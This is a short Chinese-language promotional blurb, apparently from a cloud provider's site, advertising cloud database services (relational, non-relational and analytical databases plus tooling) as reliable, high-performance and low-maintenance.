            云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档